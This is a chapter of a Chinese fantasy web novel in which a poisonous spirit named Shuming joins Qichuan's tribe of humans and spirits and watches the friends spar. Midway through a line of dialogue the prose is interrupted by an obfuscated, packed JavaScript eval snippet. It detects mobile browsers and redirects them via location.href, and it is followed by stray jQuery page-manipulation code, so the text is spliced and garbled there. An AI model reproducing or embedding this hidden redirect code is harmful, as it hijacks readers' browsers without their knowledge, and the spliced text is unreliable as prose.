11. 前尘篇·泽上仙(上)

作品:《我当癫婆那些年

    月悬风轻,他一路跋涉,踏过雪原与荒碛,来到一片温暖的水泽。


    他能感觉到这里有强大的生命,水泽中或许藏着一个庞然大物,所以他尽力放轻脚步。


    “啪嗒”。


    鞋子踩进水坑里,清脆的异响,在静谧的树林间格外突兀。


    他听到翅膀急促拍打的声音,远处,几只飞鸟蹬开枝杈,遁入沉沉夜色。


    水泽中的生命被扰醒,右眼缓缓睁开一条缝。


    露珠拽着叶尖,最终撑不住,坠了下来。他用指尖接住那滴水,却眼睁睁看着那抹水渍在指尖凝成一点,悠然飘回那叶片,稳稳卧住。


    叶片抖了抖,不胜毒力而枯萎了。


    “远方的客人,你也是来寻求庇护的吗?”


    她像卧在叶片上的那颗露珠,恬然憩息于水泽中,将擅闯的他收在眼底,却无半分愠怒。


    这片水泽仿佛有神力,将他体内紊乱难以压制的毒安抚下来。


    他沉默坐下,借着月华调息,彻底收住了向外逸散的毒气。


    但这难以长久,一旦他离开,到了夜晚,毒又会不受控制。


    “我想留下。”


    听到他的话,她微笑着从水泽中起身,拖着漉漉的湿痕:“那便留下吧,碧落之墟诚待每一位来客。”


    ……


    碧落之墟是一个人类部落。与他从前见过的任何部落都不同,碧落之墟接纳灵和妖。


    而在这些灵和妖当中,有许多都是如他一般,误闯水泽,而后被栖川捡回部落。


    栖川是女子的名字,她是泑水中的灵。泑水是混沌之水,这位水灵亦是强大而温柔。


    她不仅用自己的力量去帮助人类,而且还会与精怪们订立契约,许诺会引渡它们成仙。


    条件是,在碧落之墟的将士们出征讨伐灾殃之时,它们需要留下来守护部落。


    灾殃祸乱人世,非人力可以抗衡。


    碧落之墟的人们信仰昆仑的神明,虔诚而沉重的信仰换来神明的眷顾。他们得到了普通人类所不能及的力量,还有人类所渴望的、更持久的生命。


    但是这还远远不够,于是人们找到了巫,由她祃祷,为出征的战士赋予神力,让他们的护甲足以抵抗邪咒,武器足以斩杀妖魔。


    巫女名叫少觋,她是碧落的大祭司,亦是碧落首领的老师。


    碧落的小小首领,那个常常躲在少觋身后、怯生生的小姑娘,名叫杯珓,但因为年纪最小,被他们唤作“小杯”。


    她的母亲是带领碧落走向鼎盛的人,后来不幸惨死在灾殃的核中,彼时杯珓尚且年幼,在祭司和将军的扶持下,跌跌撞撞撑起了一片天空。


    将军燧乌骁勇,领兵征伐灾殃,从无败绩。


    他们三人是栖川的人类朋友,当然,她还有一位妖怪朋友,名叫兮烛。


    兮烛是东方异兽,平素懒散,以天为被,以地为席,可以酣睡数月不醒。


    然而即便他醒过来,那双眼睛也从来不会睁开。


    栖川说他的眼睛吓到过无数人类与精怪,所以轻易不会露出来。


    介绍完她的朋友们,她望着他,思忖片刻:“你还没有名字。我想想,现在已经有了栖红、栖黄、栖绿、栖蓝、栖紫、栖黑,不如你就叫栖白吧?”


    但可惜她没能如愿。


    枢明草,生于不周山,他是枢明,这是他自己取的名字。


    于是他成为了“他们”中的一员。


    碧落之墟每隔一次满月便要出征讨伐灾殃。栖川说,灾殃的力量是混沌无序,当这种力量充斥世间,人类便会自相残杀,陷入混乱与毁灭。


    出征前,燧乌带领战士们向神明祈祷凯旋,肩上的太阳图腾熠熠。


    少觋立于祭坛上祃祷,双臂高抬,如长空上的鹰隼。


    栖川、兮烛也要同去。告别之时,总有几个小精怪会忍不住落泪,兮烛闭着眼睛似睡非睡,只有栖川安慰似地抚摸它们毛茸茸的耳朵。


    杯珓留在部落里,听着雄浑的鼓点声出神。


    有燧乌在,战士们每次都能平安归来,但有时也有例外。


    当碧落之墟失去了一颗星子,人们会将他安放在神垂眸注视的地方,杯珓捧着花,唱悼亡歌,她看着星星,人们看着她。


    这是枢明眼中的“他们”,但是栖川告诉他,他不知道在平凡的日子里,杯珓会为了独自主持一场祭祀而向老师少觋撒娇。


    他不知道,燧乌和栖川经常在争论谁做饭更好吃的时候大打出手。


    他不知道,兮烛睡觉大多是在假寐,而真正酣眠时,他总是忘记收起两簇毛蓬蓬的兽耳。


    他更不知道,燧乌常常坐在树上,借着月光打磨骨笛,当清幽的乐声流淌入耳,不苟言笑的祭司也会面色温柔。


    ……


    栖川答应引渡精怪们成仙,但修行还要看它们自己。


    受到燧乌练兵的启发,她在祭坛下面的空地上圈了一个圈,让小精怪们排好队,一个接一个上来和她打一架。


    交手时,精怪们总能在灵气的流转中悟到玄机,于是修行速度倍增。


    偶尔她出手重了些,总有一两个小精怪被她抛到天上,飞没了影。


    栖川只能循着他们消失的方向狂奔。


    一旦它们飞得太远,便很难找到回家的路了。


    枢明常常在旁边观战,但从来不会加入他们。


    这一日栖川结束了校练,躺在圆圈的中央,空荡荡的场地上只剩她和枢明。


    她望着天上的云发呆,他闭目凝神调息。


    “我们来晚了?”


    是燧乌他们。


    三长一短的影子伸进圆圈里,栖川歪着脑袋:“你们也是来向我讨教的?”


    兮烛闭着眼睛事不关己,优哉游哉。少觋从不喜欢凑热闹,领着杯珓坐到旁边。


    燧乌朝她伸出手:“那便来吧。”


    “来便来,输了你可别说我欺负人。”


    “我怎么可能一个人跟你打,”燧乌笑道,“自然还要加上少觋。”


    栖川不干:“好啊,是你们欺负人。”


    “泑水的仙灵,还打不过两个凡人?”说完,他有意无意向后瞟了一眼,往杯珓的方向,“不如你也找个后援?”


    栖川会意,喊道:“小杯,只有你能救我了!”


    猝不及防,杯珓坐直身子,反而怯怯的看了少觋一眼:“……我和老师相差甚远。”


    “不试试怎么知道呢?”


    栖川说完,少觋垂眸,摸摸小姑娘的头:“去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178041|165139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”


    栖川与燧乌在圈内对峙,杯珓与少觋站在圈外,在两人身后进行祃祷。


    两位战士右手相握,举到面前,一个眼神狡黠,一个目光犀利。


    “说好了,今天谁输了谁做饭!”


    巫的唱词刚一落地,栖川便消失了踪影,燧乌太熟悉她的打法,少觋也是。


    当蛇一般的水流从背后迸裂,燧乌转身一刀将其砍断。


    刀上的咒术使两截水难以相融,但水无常形,索性化为两只手臂,朝他发起进攻。


    燧乌是个成熟的将士,他几乎没有破绽,而属于人类的弱点也在巫的加持下消弭了。


    他没有停,刀光所过,只剩四截断臂。那水又化为东南西北方向的软剑,以柔克刚,缠上他的手臂。


    寻常人不能接触泑水,混沌的水会吞吃人的躯体。但水本为一体,无法弥合的分散,已经削弱了她的力量。


    燧乌无法砍断自己手臂上的水,抵挡泑水的巫术也不会维持很长时间。


    他却是一笑,将双臂挥到圆圈之外。


    栖川立刻显了原型,站在他对面,发丝有些许凌乱。


    杯珓深知自己没能帮上忙,慌张中断了祃祷:“……是我的错,我怕我做不好。”


    “你没有错,”栖川笑道,“你只是放不开,小杯,现在我是你手里的剑,剑自己都不怕,挥剑的人为何要怕?该害怕的应该是你的敌人——”她指向燧乌与少觋。


    杯珓看着少觋,年长的巫女沉稳地站在她对立面,目光温和。


    还有对她微笑的栖川与岁梧,甚至是一旁观战的兮烛。


    枢明也睁开眼睛。


    “我想再试试。”杯珓鼓起勇气。


    第二战,栖川明显占了上风,速战速决,将燧乌打出了圈。


    燧乌一边踉跄,一边低语:“你们演得也太假了,谁能一上来进步这么大?”


    但是被欺骗的人却相信了。杯珓不可思议地望着被打败的燧乌。


    始终沉默的少觋告诉她:“你赢了。”


    栖川连忙附和:“小杯,你本来便可以做到的,所以要相信自己。”


    受到众人肯定,杯珓明显活泼了许多。


    栖川站在圈内,傲视群雄:“还有谁可与吾一战?”


    在大家一致的目光中,兮烛不情不愿地走到她面前:“确定?”


    他太懒,说话从来不超过两个字:你们确定让我做饭?


    栖川无奈:“你为何觉得一定会输啊?”


    “斗志。”他现在根本就不想打架。


    无奈栖川打得正尽兴,这些损友们看得也尽兴。


    “既然对手是你,那这个圈画得太小了,不如我们敞开了打,你意下如何?”


    兮烛嗯了一声。


    新一轮校练开始,栖川依旧是一上来便消失,兮烛始终闭着眼睛,看上去老神在在。


    十枚水箭从头顶袭来,接着被一只无形的手掌赶到一边,水箭落地,变成密密麻麻的水洼。


    与此同时,水洼旁边显现出一道极浅的凹痕。


    “巨兽。”杯珓向枢明解释,“兮烛的真身,那爪痕就是他用力时留下的。”


    又是一掌,一颗树被拦腰拍断,暴露出栖川的身影。